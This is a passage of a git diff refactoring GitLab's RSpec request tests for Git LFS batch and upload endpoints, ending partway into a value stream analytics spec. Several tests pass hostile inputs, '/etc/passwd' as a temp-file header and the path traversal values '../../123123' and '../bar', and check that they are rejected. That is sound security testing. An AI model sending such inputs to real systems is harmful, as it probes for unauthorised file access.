- expect(lfs_object.projects.pluck(:id)).to include(other_project.id)
expect(json_response['objects'].first['actions']['upload']['href']).to eq(objects_url(project, sample_oid, sample_size))
- expect(json_response['objects'].first['actions']['upload']['header']).to include('Content-Type' => 'application/octet-stream')
- end
- it_behaves_like 'process authorization header', renew_authorization: true
+ headers = json_response['objects'].first['actions']['upload']['header']
+ expect(headers['Content-Type']).to eq('application/octet-stream')
+ expect(headers['Transfer-Encoding']).to be_nil
+ end
end
- let(:update_lfs_permissions) do
- other_project.lfs_objects << lfs_object
- end
+ it_behaves_like 'process authorization header', renew_authorization: renew_authorization
+ end
- context 'in another project' do
- it_behaves_like 'batch upload with existing LFS object'
- end
+ describe 'when request is authenticated' do
+ describe 'when user has project push access' do
+ before do
+ authorize_upload
+ end
- context 'in source of fork project' do
- let(:project) { fork_project(other_project) }
+ context 'when pushing an LFS object that already exists' do
+ shared_examples_for 'batch upload with existing LFS object' do
+ it_behaves_like 'LFS http 200 response'
- it_behaves_like 'batch upload with existing LFS object'
- end
- end
+ it 'responds with links to the object in the project' do
+ expect(json_response['objects']).to be_kind_of(Array)
+ expect(json_response['objects'].first).to include(sample_object)
+ expect(lfs_object.projects.pluck(:id)).not_to include(project.id)
+ expect(lfs_object.projects.pluck(:id)).to include(other_project.id)
+ expect(json_response['objects'].first['actions']['upload']['href']).to eq(objects_url(project, sample_oid, sample_size))
- context 'when pushing a LFS object that does not exist' do
- it_behaves_like 'pushes new LFS objects', renew_authorization: true
- end
+ headers = json_response['objects'].first['actions']['upload']['header']
+ expect(headers['Content-Type']).to eq('application/octet-stream')
+ expect(headers['Transfer-Encoding']).to eq('chunked')
+ end
- context 'when pushing one new and one existing LFS object' do
- let(:body) { upload_body(multiple_objects) }
- let(:update_lfs_permissions) do
- project.lfs_objects << lfs_object
- end
+ it_behaves_like 'process authorization header', renew_authorization: true
+ end
- it_behaves_like 'LFS http 200 response'
+ context 'in another project' do
+ before do
+ lfs_object.update!(projects: [other_project])
+ end
- it 'responds with upload hypermedia link for the new object' do
- expect(json_response['objects']).to be_kind_of(Array)
+ it_behaves_like 'batch upload with existing LFS object'
+ end
- expect(json_response['objects'].first).to include(sample_object)
- expect(json_response['objects'].first).not_to have_key('actions')
+ context 'in source of fork project' do
+ let(:project) { fork_project(other_project) }
- expect(json_response['objects'].last).to include(non_existing_object)
- expect(json_response['objects'].last['actions']['upload']['href']).to eq(objects_url(project, non_existing_object_oid, non_existing_object_size))
- expect(json_response['objects'].last['actions']['upload']['header']).to include('Content-Type' => 'application/octet-stream')
- end
+ before do
+ lfs_object.update!(projects: [other_project])
+ end
- it_behaves_like 'process authorization header', renew_authorization: true
- end
- end
+ it_behaves_like 'batch upload with existing LFS object'
+ end
+ end
- context 'when user does not have push access' do
- let(:authorization) { authorize_user }
+ context 'when pushing a LFS object that does not exist' do
+ it_behaves_like 'pushes new LFS objects', renew_authorization: true
+ end
- it_behaves_like 'LFS http 403 response'
- end
+ context 'when pushing one new and one existing LFS object' do
+ let(:body) { upload_body(multiple_objects) }
- context 'when build is authorized' do
- let(:authorization) { authorize_ci_project }
+ it_behaves_like 'LFS http 200 response'
- context 'build has an user' do
- let(:build) { create(:ci_build, :running, pipeline: pipeline, user: user) }
+ it 'responds with upload hypermedia link for the new object' do
+ expect(json_response['objects']).to be_kind_of(Array)
- context 'tries to push to own project' do
- it_behaves_like 'LFS http 403 response'
- end
+ expect(json_response['objects'].first).to include(sample_object)
+ expect(json_response['objects'].first).not_to have_key('actions')
- context 'tries to push to other project' do
- let(:pipeline) { create(:ci_empty_pipeline, project: other_project) }
+ expect(json_response['objects'].last).to include(non_existing_object)
+ expect(json_response['objects'].last['actions']['upload']['href']).to eq(objects_url(project, non_existing_object_oid, non_existing_object_size))
+
+ headers = json_response['objects'].last['actions']['upload']['header']
+ expect(headers['Content-Type']).to eq('application/octet-stream')
+ expect(headers['Transfer-Encoding']).to eq('chunked')
+ end
+
+ it_behaves_like 'process authorization header', renew_authorization: true
+ end
+ end
- # I'm not sure what this tests that is different from the previous test
+ context 'when user does not have push access' do
it_behaves_like 'LFS http 403 response'
end
- end
- context 'does not have user' do
- let(:build) { create(:ci_build, :running, pipeline: pipeline) }
+ context 'when build is authorized' do
+ let(:authorization) { authorize_ci_project }
+ let(:pipeline) { create(:ci_empty_pipeline, project: project) }
- it_behaves_like 'LFS http 403 response'
- end
- end
+ context 'build has an user' do
+ let(:build) { create(:ci_build, :running, pipeline: pipeline, user: user) }
- context 'when deploy key has project push access' do
- let(:key) { create(:deploy_key) }
- let(:authorization) { authorize_deploy_key }
+ context 'tries to push to own project' do
+ it_behaves_like 'LFS http 403 response'
+ end
- let(:update_user_permissions) do
- project.deploy_keys_projects.create!(deploy_key: key, can_push: true)
- end
+ context 'tries to push to other project' do
+ let(:pipeline) { create(:ci_empty_pipeline, project: other_project) }
- it_behaves_like 'pushes new LFS objects', renew_authorization: false
- end
- end
+ # I'm not sure what this tests that is different from the previous test
+ it_behaves_like 'LFS http 403 response'
+ end
+ end
- context 'when user is not authenticated' do
- context 'when user has push access' do
- let(:update_user_permissions) do
- project.add_maintainer(user)
- end
+ context 'does not have user' do
+ let(:build) { create(:ci_build, :running, pipeline: pipeline) }
- it_behaves_like 'LFS http 401 response'
- end
+ it_behaves_like 'LFS http 403 response'
+ end
+ end
- context 'when user does not have push access' do
- it_behaves_like 'LFS http 401 response'
- end
- end
- end
+ context 'when deploy key has project push access' do
+ let(:key) { create(:deploy_key) }
+ let(:authorization) { authorize_deploy_key }
- describe 'unsupported' do
- let(:authorization) { authorize_user }
- let(:body) { request_body('other', sample_object) }
+ before do
+ project.deploy_keys_projects.create!(deploy_key: key, can_push: true)
+ end
- it_behaves_like 'LFS http 404 response'
- end
- end
+ it_behaves_like 'pushes new LFS objects', renew_authorization: false
+ end
+ end
- describe 'when handling LFS batch request on a read-only GitLab instance' do
- let(:authorization) { authorize_user }
+ context 'when user is not authenticated' do
+ let(:authorization) { nil }
- subject { post_lfs_json(batch_url(project), body, headers) }
+ context 'when user has push access' do
+ before do
+ authorize_upload
+ end
- before do
- allow(Gitlab::Database).to receive(:read_only?) { true }
+ it_behaves_like 'LFS http 401 response'
+ end
- project.add_maintainer(user)
+ context 'when user does not have push access' do
+ it_behaves_like 'LFS http 401 response'
+ end
+ end
+ end
- subject
- end
+ describe 'unsupported' do
+ let(:body) { request_body('other', sample_object) }
- context 'when downloading' do
- let(:body) { download_body(sample_object) }
+ it_behaves_like 'LFS http 404 response'
+ end
+ end
- it_behaves_like 'LFS http 200 response'
- end
+ describe 'when handling LFS batch request on a read-only GitLab instance' do
+ subject { post_lfs_json(batch_url(project), body, headers) }
- context 'when uploading' do
- let(:body) { upload_body(sample_object) }
+ before do
+ allow(Gitlab::Database).to receive(:read_only?) { true }
- it_behaves_like 'LFS http expected response code and message' do
- let(:response_code) { 403 }
- let(:message) { 'You cannot write to this read-only GitLab instance.' }
- end
- end
- end
+ project.add_maintainer(user)
- describe 'when pushing a LFS object' do
- shared_examples 'unauthorized' do
- context 'and request is sent by gitlab-workhorse to authorize the request' do
- before do
- put_authorize
+ subject
end
- it_behaves_like 'LFS http 401 response'
- end
+ context 'when downloading' do
+ let(:body) { download_body(sample_object) }
- context 'and request is sent by gitlab-workhorse to finalize the upload' do
- before do
- put_finalize
+ it_behaves_like 'LFS http 200 response'
end
- it_behaves_like 'LFS http 401 response'
- end
+ context 'when uploading' do
+ let(:body) { upload_body(sample_object) }
- context 'and request is sent with a malformed headers' do
- before do
- put_finalize('/etc/passwd')
+ it_behaves_like 'LFS http expected response code and message' do
+ let(:response_code) { 403 }
+ let(:message) { 'You cannot write to this read-only GitLab instance.' }
+ end
end
-
- it_behaves_like 'LFS http 401 response'
end
- end
- shared_examples 'forbidden' do
- context 'and request is sent by gitlab-workhorse to authorize the request' do
- before do
- put_authorize
- end
+ describe 'when pushing a LFS object' do
+ let(:include_workhorse_jwt_header) { true }
- it_behaves_like 'LFS http 403 response'
- end
+ shared_examples 'unauthorized' do
+ context 'and request is sent by gitlab-workhorse to authorize the request' do
+ before do
+ put_authorize
+ end
- context 'and request is sent by gitlab-workhorse to finalize the upload' do
- before do
- put_finalize
- end
+ it_behaves_like 'LFS http 401 response'
+ end
- it_behaves_like 'LFS http 403 response'
- end
+ context 'and request is sent by gitlab-workhorse to finalize the upload' do
+ before do
+ put_finalize
+ end
- context 'and request is sent with a malformed headers' do
- before do
- put_finalize('/etc/passwd')
+ it_behaves_like 'LFS http 401 response'
+ end
+
+ context 'and request is sent with a malformed headers' do
+ before do
+ put_finalize('/etc/passwd')
+ end
+
+ it_behaves_like 'LFS http 401 response'
+ end
end
- it_behaves_like 'LFS http 403 response'
- end
- end
+ shared_examples 'forbidden' do
+ context 'and request is sent by gitlab-workhorse to authorize the request' do
+ before do
+ put_authorize
+ end
- describe 'to one project' do
- describe 'when user is authenticated' do
- let(:authorization) { authorize_user }
+ it_behaves_like 'LFS http 403 response'
+ end
- describe 'when user has push access to the project' do
- before do
- project.add_developer(user)
+ context 'and request is sent by gitlab-workhorse to finalize the upload' do
+ before do
+ put_finalize
+ end
+
+ it_behaves_like 'LFS http 403 response'
end
- context 'and the request bypassed workhorse' do
- it 'raises an exception' do
- expect { put_authorize(verified: false) }.to raise_error JWT::DecodeError
+ context 'and request is sent with a malformed headers' do
+ before do
+ put_finalize('/etc/passwd')
end
+
+ it_behaves_like 'LFS http 403 response'
end
+ end
- context 'and request is sent by gitlab-workhorse to authorize the request' do
- shared_examples 'a valid response' do
+ describe 'to one project' do
+ describe 'when user is authenticated' do
+ describe 'when user has push access to the project' do
before do
- put_authorize
+ project.add_developer(user)
end
- it_behaves_like 'LFS http 200 workhorse response'
- end
-
- shared_examples 'a local file' do
- it_behaves_like 'a valid response' do
- it 'responds with status 200, location of LFS store and object details' do
- expect(json_response['TempPath']).to eq(LfsObjectUploader.workhorse_local_upload_path)
- expect(json_response['RemoteObject']).to be_nil
- expect(json_response['LfsOid']).to eq(sample_oid)
- expect(json_response['LfsSize']).to eq(sample_size)
+ context 'and the request bypassed workhorse' do
+ it 'raises an exception' do
+ expect { put_authorize(verified: false) }.to raise_error JWT::DecodeError
end
end
- end
- context 'when using local storage' do
- it_behaves_like 'a local file'
- end
+ context 'and request is sent by gitlab-workhorse to authorize the request' do
+ shared_examples 'a valid response' do
+ before do
+ put_authorize
+ end
- context 'when using remote storage' do
- context 'when direct upload is enabled' do
- before do
- stub_lfs_object_storage(enabled: true, direct_upload: true)
+ it_behaves_like 'LFS http 200 workhorse response'
end
- it_behaves_like 'a valid response' do
- it 'responds with status 200, location of LFS remote store and object details' do
- expect(json_response).not_to have_key('TempPath')
- expect(json_response['RemoteObject']).to have_key('ID')
- expect(json_response['RemoteObject']).to have_key('GetURL')
- expect(json_response['RemoteObject']).to have_key('StoreURL')
- expect(json_response['RemoteObject']).to have_key('DeleteURL')
- expect(json_response['RemoteObject']).not_to have_key('MultipartUpload')
- expect(json_response['LfsOid']).to eq(sample_oid)
- expect(json_response['LfsSize']).to eq(sample_size)
+ shared_examples 'a local file' do
+ it_behaves_like 'a valid response' do
+ it 'responds with status 200, location of LFS store and object details' do
+ expect(json_response['TempPath']).to eq(LfsObjectUploader.workhorse_local_upload_path)
+ expect(json_response['RemoteObject']).to be_nil
+ expect(json_response['LfsOid']).to eq(sample_oid)
+ expect(json_response['LfsSize']).to eq(sample_size)
+ end
end
end
- end
- context 'when direct upload is disabled' do
- before do
- stub_lfs_object_storage(enabled: true, direct_upload: false)
+ context 'when using local storage' do
+ it_behaves_like 'a local file'
end
- it_behaves_like 'a local file'
- end
- end
- end
+ context 'when using remote storage' do
+ context 'when direct upload is enabled' do
+ before do
+ stub_lfs_object_storage(enabled: true, direct_upload: true)
+ end
- context 'and request is sent by gitlab-workhorse to finalize the upload' do
- before do
- put_finalize
- end
+ it_behaves_like 'a valid response' do
+ it 'responds with status 200, location of LFS remote store and object details' do
+ expect(json_response).not_to have_key('TempPath')
+ expect(json_response['RemoteObject']).to have_key('ID')
+ expect(json_response['RemoteObject']).to have_key('GetURL')
+ expect(json_response['RemoteObject']).to have_key('StoreURL')
+ expect(json_response['RemoteObject']).to have_key('DeleteURL')
+ expect(json_response['RemoteObject']).not_to have_key('MultipartUpload')
+ expect(json_response['LfsOid']).to eq(sample_oid)
+ expect(json_response['LfsSize']).to eq(sample_size)
+ end
+ end
+ end
- it_behaves_like 'LFS http 200 response'
+ context 'when direct upload is disabled' do
+ before do
+ stub_lfs_object_storage(enabled: true, direct_upload: false)
+ end
- it 'LFS object is linked to the project' do
- expect(lfs_object.projects.pluck(:id)).to include(project.id)
- end
- end
+ it_behaves_like 'a local file'
+ end
+ end
+ end
- context 'and request to finalize the upload is not sent by gitlab-workhorse' do
- it 'fails with a JWT decode error' do
- expect { put_finalize(lfs_tmp_file, verified: false) }.to raise_error(JWT::DecodeError)
- end
- end
+ context 'and request is sent by gitlab-workhorse to finalize the upload' do
+ before do
+ put_finalize
+ end
- context 'and workhorse requests upload finalize for a new LFS object' do
- before do
- lfs_object.destroy!
- end
+ it_behaves_like 'LFS http 200 response'
- context 'with object storage disabled' do
- it "doesn't attempt to migrate file to object storage" do
- expect(ObjectStorage::BackgroundMoveWorker).not_to receive(:perform_async)
+ it 'LFS object is linked to the project' do
+ expect(lfs_object.projects.pluck(:id)).to include(project.id)
+ end
+ end
- put_finalize(with_tempfile: true)
+ context 'and request to finalize the upload is not sent by gitlab-workhorse' do
+ it 'fails with a JWT decode error' do
+ expect { put_finalize(lfs_tmp_file, verified: false) }.to raise_error(JWT::DecodeError)
+ end
end
- end
- context 'with object storage enabled' do
- context 'and direct upload enabled' do
- let!(:fog_connection) do
- stub_lfs_object_storage(direct_upload: true)
+ context 'and workhorse requests upload finalize for a new LFS object' do
+ before do
+ lfs_object.destroy!
end
- let(:tmp_object) do
- fog_connection.directories.new(key: 'lfs-objects').files.create( # rubocop: disable Rails/SaveBang
- key: 'tmp/uploads/12312300',
- body: 'content'
- )
+ context 'with object storage disabled' do
+ it "doesn't attempt to migrate file to object storage" do
+ expect(ObjectStorage::BackgroundMoveWorker).not_to receive(:perform_async)
+
+ put_finalize(with_tempfile: true)
+ end
end
- ['123123', '../../123123'].each do |remote_id|
- context "with invalid remote_id: #{remote_id}" do
- subject do
- put_finalize(remote_object: tmp_object, args: {
- 'file.remote_id' => remote_id
- })
+ context 'with object storage enabled' do
+ context 'and direct upload enabled' do
+ let!(:fog_connection) do
+ stub_lfs_object_storage(direct_upload: true)
end
- it 'responds with status 403' do
- subject
+ let(:tmp_object) do
+ fog_connection.directories.new(key: 'lfs-objects').files.create( # rubocop: disable Rails/SaveBang
+ key: 'tmp/uploads/12312300',
+ body: 'content'
+ )
+ end
+
+ ['123123', '../../123123'].each do |remote_id|
+ context "with invalid remote_id: #{remote_id}" do
+ subject do
+ put_finalize(remote_object: tmp_object, args: {
+ 'file.remote_id' => remote_id
+ })
+ end
+
+ it 'responds with status 403' do
+ subject
- expect(response).to have_gitlab_http_status(:forbidden)
+ expect(response).to have_gitlab_http_status(:forbidden)
+ end
+ end
end
- end
- end
- context 'with valid remote_id' do
- subject do
- put_finalize(remote_object: tmp_object, args: {
- 'file.remote_id' => '12312300',
- 'file.name' => 'name'
- })
- end
+ context 'with valid remote_id' do
+ subject do
+ put_finalize(remote_object: tmp_object, args: {
+ 'file.remote_id' => '12312300',
+ 'file.name' => 'name'
+ })
+ end
- it 'responds with status 200' do
- subject
+ it 'responds with status 200' do
+ subject
- expect(response).to have_gitlab_http_status(:ok)
+ expect(response).to have_gitlab_http_status(:ok)
- object = LfsObject.find_by_oid(sample_oid)
- expect(object).to be_present
- expect(object.file.read).to eq(tmp_object.body)
- end
+ object = LfsObject.find_by_oid(sample_oid)
+ expect(object).to be_present
+ expect(object.file.read).to eq(tmp_object.body)
+ end
+
+ it 'schedules migration of file to object storage' do
+ subject
+
+ expect(LfsObject.last.projects).to include(project)
+ end
- it 'schedules migration of file to object storage' do
- subject
+ it 'have valid file' do
+ subject
- expect(LfsObject.last.projects).to include(project)
+ expect(LfsObject.last.file_store).to eq(ObjectStorage::Store::REMOTE)
+ expect(LfsObject.last.file).to be_exists
+ end
+ end
end
- it 'have valid file' do
- subject
+ context 'and background upload enabled' do
+ before do
+ stub_lfs_object_storage(background_upload: true)
+ end
+
+ it 'schedules migration of file to object storage' do
+ expect(ObjectStorage::BackgroundMoveWorker).to receive(:perform_async).with('LfsObjectUploader', 'LfsObject', :file, kind_of(Numeric))
- expect(LfsObject.last.file_store).to eq(ObjectStorage::Store::REMOTE)
- expect(LfsObject.last.file).to be_exists
+ put_finalize(with_tempfile: true)
+ end
end
end
end
- context 'and background upload enabled' do
+ context 'without the lfs object' do
before do
- stub_lfs_object_storage(background_upload: true)
+ lfs_object.destroy!
end
- it 'schedules migration of file to object storage' do
- expect(ObjectStorage::BackgroundMoveWorker).to receive(:perform_async).with('LfsObjectUploader', 'LfsObject', :file, kind_of(Numeric))
+ it 'rejects slashes in the tempfile name (path traversal)' do
+ put_finalize('../bar', with_tempfile: true)
+ expect(response).to have_gitlab_http_status(:bad_request)
+ end
+
+ context 'not sending the workhorse jwt header' do
+ let(:include_workhorse_jwt_header) { false }
- put_finalize(with_tempfile: true)
+ it 'rejects the request' do
+ put_finalize(with_tempfile: true)
+
+ expect(response).to have_gitlab_http_status(:unprocessable_entity)
+ end
end
end
end
- end
- context 'without the lfs object' do
- before do
- lfs_object.destroy!
- end
+ describe 'and user does not have push access' do
+ before do
+ project.add_reporter(user)
+ end
- it 'rejects slashes in the tempfile name (path traversal)' do
- put_finalize('../bar', with_tempfile: true)
- expect(response).to have_gitlab_http_status(:bad_request)
+ it_behaves_like 'forbidden'
end
+ end
- context 'not sending the workhorse jwt header' do
- let(:include_workhorse_jwt_header) { false }
-
- it 'rejects the request' do
- put_finalize(with_tempfile: true)
+ context 'when build is authorized' do
+ let(:authorization) { authorize_ci_project }
+ let(:pipeline) { create(:ci_empty_pipeline, project: project) }
- expect(response).to have_gitlab_http_status(:unprocessable_entity)
- end
- end
- end
- end
+ context 'build has an user' do
+ let(:build) { create(:ci_build, :running, pipeline: pipeline, user: user) }
- describe 'and user does not have push access' do
- before do
- project.add_reporter(user)
- end
+ context 'tries to push to own project' do
+ before do
+ project.add_developer(user)
+ put_authorize
+ end
- it_behaves_like 'forbidden'
- end
- end
+ it_behaves_like 'LFS http 403 response'
+ end
- context 'when build is authorized' do
- let(:authorization) { authorize_ci_project }
+ context 'tries to push to other project' do
+ let(:pipeline) { create(:ci_empty_pipeline, project: other_project) }
- context 'build has an user' do
- let(:build) { create(:ci_build, :running, pipeline: pipeline, user: user) }
+ before do
+ put_authorize
+ end
- context 'tries to push to own project' do
- before do
- project.add_developer(user)
- put_authorize
+ it_behaves_like 'LFS http 404 response'
+ end
end
- it_behaves_like 'LFS http 403 response'
- end
+ context 'does not have user' do
+ let(:build) { create(:ci_build, :running, pipeline: pipeline) }
- context 'tries to push to other project' do
- let(:pipeline) { create(:ci_empty_pipeline, project: other_project) }
+ before do
+ put_authorize
+ end
- before do
- put_authorize
+ it_behaves_like 'LFS http 403 response'
end
-
- it_behaves_like 'LFS http 404 response'
end
- end
- context 'does not have user' do
- let(:build) { create(:ci_build, :running, pipeline: pipeline) }
+ describe 'when using a user key (LFSToken)' do
+ let(:authorization) { authorize_user_key }
- before do
- put_authorize
- end
+ context 'when user allowed' do
+ before do
+ project.add_developer(user)
+ put_authorize
+ end
- it_behaves_like 'LFS http 403 response'
- end
- end
+ it_behaves_like 'LFS http 200 workhorse response'
- describe 'when using a user key (LFSToken)' do
- let(:authorization) { authorize_user_key }
+ context 'when user password is expired' do
+ let_it_be(:user) { create(:user, password_expires_at: 1.minute.ago)}
- context 'when user allowed' do
- before do
- project.add_developer(user)
- put_authorize
- end
+ it_behaves_like 'LFS http 401 response'
+ end
- it_behaves_like 'LFS http 200 workhorse response'
+ context 'when user is blocked' do
+ let_it_be(:user) { create(:user, :blocked)}
- context 'when user password is expired' do
- let(:user) { create(:user, password_expires_at: 1.minute.ago)}
+ it_behaves_like 'LFS http 401 response'
+ end
+ end
- it_behaves_like 'LFS http 401 response'
+ context 'when user not allowed' do
+ before do
+ put_authorize
+ end
+
+ it_behaves_like 'LFS http 404 response'
+ end
end
- context 'when user is blocked' do
- let(:user) { create(:user, :blocked)}
+ context 'for unauthenticated' do
+ let(:authorization) { nil }
- it_behaves_like 'LFS http 401 response'
+ it_behaves_like 'unauthorized'
end
end
- context 'when user not allowed' do
- before do
- put_authorize
- end
+ describe 'to a forked project' do
+ let_it_be(:upstream_project) { create(:project, :public) }
+ let_it_be(:project_owner) { create(:user) }
+ let(:project) { fork_project(upstream_project, project_owner) }
- it_behaves_like 'LFS http 404 response'
- end
- end
+ describe 'when user is authenticated' do
+ describe 'when user has push access to the project' do
+ before do
+ project.add_developer(user)
+ end
- context 'for unauthenticated' do
- it_behaves_like 'unauthorized'
- end
- end
+ context 'and request is sent by gitlab-workhorse to authorize the request' do
+ before do
+ put_authorize
+ end
- describe 'to a forked project' do
- let(:upstream_project) { create(:project, :public) }
- let(:project_owner) { create(:user) }
- let(:project) { fork_project(upstream_project, project_owner) }
+ it_behaves_like 'LFS http 200 workhorse response'
- describe 'when user is authenticated' do
- let(:authorization) { authorize_user }
+ it 'with location of LFS store and object details' do
+ expect(json_response['TempPath']).to eq(LfsObjectUploader.workhorse_local_upload_path)
+ expect(json_response['LfsOid']).to eq(sample_oid)
+ expect(json_response['LfsSize']).to eq(sample_size)
+ end
+ end
- describe 'when user has push access to the project' do
- before do
- project.add_developer(user)
- end
+ context 'and request is sent by gitlab-workhorse to finalize the upload' do
+ before do
+ put_finalize
+ end
- context 'and request is sent by gitlab-workhorse to authorize the request' do
- before do
- put_authorize
- end
+ it_behaves_like 'LFS http 200 response'
- it_behaves_like 'LFS http 200 workhorse response'
+ it 'LFS object is linked to the forked project' do
+ expect(lfs_object.projects.pluck(:id)).to include(project.id)
+ end
+ end
+ end
- it 'with location of LFS store and object details' do
- expect(json_response['TempPath']).to eq(LfsObjectUploader.workhorse_local_upload_path)
- expect(json_response['LfsOid']).to eq(sample_oid)
- expect(json_response['LfsSize']).to eq(sample_size)
+ describe 'and user does not have push access' do
+ it_behaves_like 'forbidden'
end
end
- context 'and request is sent by gitlab-workhorse to finalize the upload' do
+ context 'when build is authorized' do
+ let(:authorization) { authorize_ci_project }
+ let(:pipeline) { create(:ci_empty_pipeline, project: project) }
+
before do
- put_finalize
+ put_authorize
end
- it_behaves_like 'LFS http 200 response'
+ context 'build has an user' do
+ let(:build) { create(:ci_build, :running, pipeline: pipeline, user: user) }
- it 'LFS object is linked to the forked project' do
- expect(lfs_object.projects.pluck(:id)).to include(project.id)
- end
- end
- end
-
- describe 'and user does not have push access' do
- it_behaves_like 'forbidden'
- end
- end
+ context 'tries to push to own project' do
+ it_behaves_like 'LFS http 403 response'
+ end
- context 'when build is authorized' do
- let(:authorization) { authorize_ci_project }
+ context 'tries to push to other project' do
+ let(:pipeline) { create(:ci_empty_pipeline, project: other_project) }
- before do
- put_authorize
- end
+ # I'm not sure what this tests that is different from the previous test
+ it_behaves_like 'LFS http 403 response'
+ end
+ end
- context 'build has an user' do
- let(:build) { create(:ci_build, :running, pipeline: pipeline, user: user) }
+ context 'does not have user' do
+ let(:build) { create(:ci_build, :running, pipeline: pipeline) }
- context 'tries to push to own project' do
- it_behaves_like 'LFS http 403 response'
+ it_behaves_like 'LFS http 403 response'
+ end
end
- context 'tries to push to other project' do
- let(:pipeline) { create(:ci_empty_pipeline, project: other_project) }
+ context 'for unauthenticated' do
+ let(:authorization) { nil }
- # I'm not sure what this tests that is different from the previous test
- it_behaves_like 'LFS http 403 response'
+ it_behaves_like 'unauthorized'
end
- end
- context 'does not have user' do
- let(:build) { create(:ci_build, :running, pipeline: pipeline) }
+ describe 'and second project not related to fork or a source project' do
+ let_it_be(:second_project) { create(:project) }
- it_behaves_like 'LFS http 403 response'
- end
- end
-
- context 'for unauthenticated' do
- it_behaves_like 'unauthorized'
- end
+ before do
+ second_project.add_maintainer(user)
+ upstream_project.lfs_objects << lfs_object
+ end
- describe 'and second project not related to fork or a source project' do
- let(:second_project) { create(:project) }
- let(:authorization) { authorize_user }
+ context 'when pushing the same LFS object to the second project' do
+ before do
+ finalize_headers = headers
+ .merge('X-Gitlab-Lfs-Tmp' => lfs_tmp_file)
+ .merge(workhorse_internal_api_request_header)
- before do
- second_project.add_maintainer(user)
- upstream_project.lfs_objects << lfs_object
- end
+ put objects_url(second_project, sample_oid, sample_size),
+ params: {},
+ headers: finalize_headers
+ end
- context 'when pushing the same LFS object to the second project' do
- before do
- finalize_headers = headers
- .merge('X-Gitlab-Lfs-Tmp' => lfs_tmp_file)
- .merge(workhorse_internal_api_request_header)
+ it_behaves_like 'LFS http 200 response'
- put objects_url(second_project, sample_oid, sample_size),
- params: {},
- headers: finalize_headers
+ it 'links the LFS object to the project' do
+ expect(lfs_object.projects.pluck(:id)).to include(second_project.id, upstream_project.id)
+ end
+ end
end
+ end
- it_behaves_like 'LFS http 200 response'
+ def put_authorize(verified: true)
+ authorize_headers = headers
+ authorize_headers.merge!(workhorse_internal_api_request_header) if verified
- it 'links the LFS object to the project' do
- expect(lfs_object.projects.pluck(:id)).to include(second_project.id, upstream_project.id)
- end
+ put authorize_url(project, sample_oid, sample_size), params: {}, headers: authorize_headers
end
- end
- end
- def put_authorize(verified: true)
- authorize_headers = headers
- authorize_headers.merge!(workhorse_internal_api_request_header) if verified
+ def put_finalize(lfs_tmp = lfs_tmp_file, with_tempfile: false, verified: true, remote_object: nil, args: {})
+ uploaded_file = nil
- put authorize_url(project, sample_oid, sample_size), params: {}, headers: authorize_headers
- end
+ if with_tempfile
+ upload_path = LfsObjectUploader.workhorse_local_upload_path
+ file_path = upload_path + '/' + lfs_tmp if lfs_tmp
- def put_finalize(lfs_tmp = lfs_tmp_file, with_tempfile: false, verified: true, remote_object: nil, args: {})
- uploaded_file = nil
+ FileUtils.mkdir_p(upload_path)
+ FileUtils.touch(file_path)
- if with_tempfile
- upload_path = LfsObjectUploader.workhorse_local_upload_path
- file_path = upload_path + '/' + lfs_tmp if lfs_tmp
+ uploaded_file = UploadedFile.new(file_path, filename: File.basename(file_path))
+ elsif remote_object
+ uploaded_file = fog_to_uploaded_file(remote_object)
+ end
- FileUtils.mkdir_p(upload_path)
- FileUtils.touch(file_path)
+ finalize_headers = headers
+ finalize_headers.merge!(workhorse_internal_api_request_header) if verified
+
+ workhorse_finalize(
+ objects_url(project, sample_oid, sample_size),
+ method: :put,
+ file_key: :file,
+ params: args.merge(file: uploaded_file),
+ headers: finalize_headers,
+ send_rewritten_field: include_workhorse_jwt_header
+ )
+ end
- uploaded_file = UploadedFile.new(file_path, filename: File.basename(file_path))
- elsif remote_object
- uploaded_file = fog_to_uploaded_file(remote_object)
+ def lfs_tmp_file
+ "#{sample_oid}012345678"
+ end
end
-
- finalize_headers = headers
- finalize_headers.merge!(workhorse_internal_api_request_header) if verified
-
- workhorse_finalize(
- objects_url(project, sample_oid, sample_size),
- method: :put,
- file_key: :file,
- params: args.merge(file: uploaded_file),
- headers: finalize_headers,
- send_rewritten_field: include_workhorse_jwt_header
- )
- end
-
- def lfs_tmp_file
- "#{sample_oid}012345678"
- end
- end
-
- context 'with projects' do
- it_behaves_like 'LFS http requests' do
- let(:container) { project }
- let(:authorize_guest) { project.add_guest(user) }
- let(:authorize_download) { project.add_reporter(user) }
- let(:authorize_upload) { project.add_developer(user) }
end
end
diff --git a/spec/requests/projects/cycle_analytics_events_spec.rb b/spec/requests/projects/cycle_analytics_events_spec.rb
index 3f57b8ba67b..f8fa9459467 100644
--- a/spec/requests/projects/cycle_analytics_events_spec.rb
+++ b/spec/requests/projects/cycle_analytics_events_spec.rb
@@ -7,108 +7,115 @@ RSpec.describe 'value stream analytics events' do
let(:project) { create(:project, :repository, public_builds: false) }
let(:issue) { create(:issue, project: project, created_at: 2.days.ago) }
- describe 'GET /:namespace/:project/value_stream_analytics/events/issues' do
- before do
- project.add_developer(user)
+ shared_examples 'value stream analytics events examples' do
+ describe 'GET /:namespace/:project/value_stream_analytics/events/issues' do
+ before do
+ project.add_developer(user)
- 3.times do |count|
- travel_to(Time.now + count.days) do
- create_cycle
+ 3.times do |count|
+ travel_to(Time.now + count.days) do
+ create_cycle
+ end
end
- end
-
- deploy_master(user, project)
-
- login_as(user)
- end
-
- it 'lists the issue events' do
- get project_cycle_analytics_issue_path(project, format: :json)
- first_issue_iid = project.issues.sort_by_attribute(:created_desc).pluck(:iid).first.to_s
+ deploy_master(user, project)
- expect(json_response['events']).not_to be_empty
- expect(json_response['events'].first['iid']).to eq(first_issue_iid)
- end
+ login_as(user)
+ end
- it 'lists the plan events' do
- get project_cycle_analytics_plan_path(project, format: :json)
+ it 'lists the issue events' do
+ get project_cycle_analytics_issue_path(project, format: :json)
- first_issue_iid = project.issues.sort_by_attribute(:created_desc).pluck(:iid).first.to_s
+ first_issue_iid = project.issues.sort_by_attribute(:created_desc).pluck(:iid).first.to_s
- expect(json_response['events']).not_to be_empty
- expect(json_response['events'].first['iid']).to eq(first_issue_iid)
- end
+ expect(json_response['events']).not_to be_empty
+ expect(json_response['events'].first['iid']).to eq(first_issue_iid)
+ end
- it 'lists the code events' do
- get project_cycle_analytics_code_path(project, format: :json)
+ it 'lists the plan events' do
+ get project_cycle_analytics_plan_path(project, format: :json)
- expect(json_response['events']).not_to be_empty
+ first_issue_iid = project.issues.sort_by_attribute(:created_desc).pluck(:iid).first.to_s
- first_mr_iid = project.merge_requests.sort_by_attribute(:created_desc).pluck(:iid).first.to_s
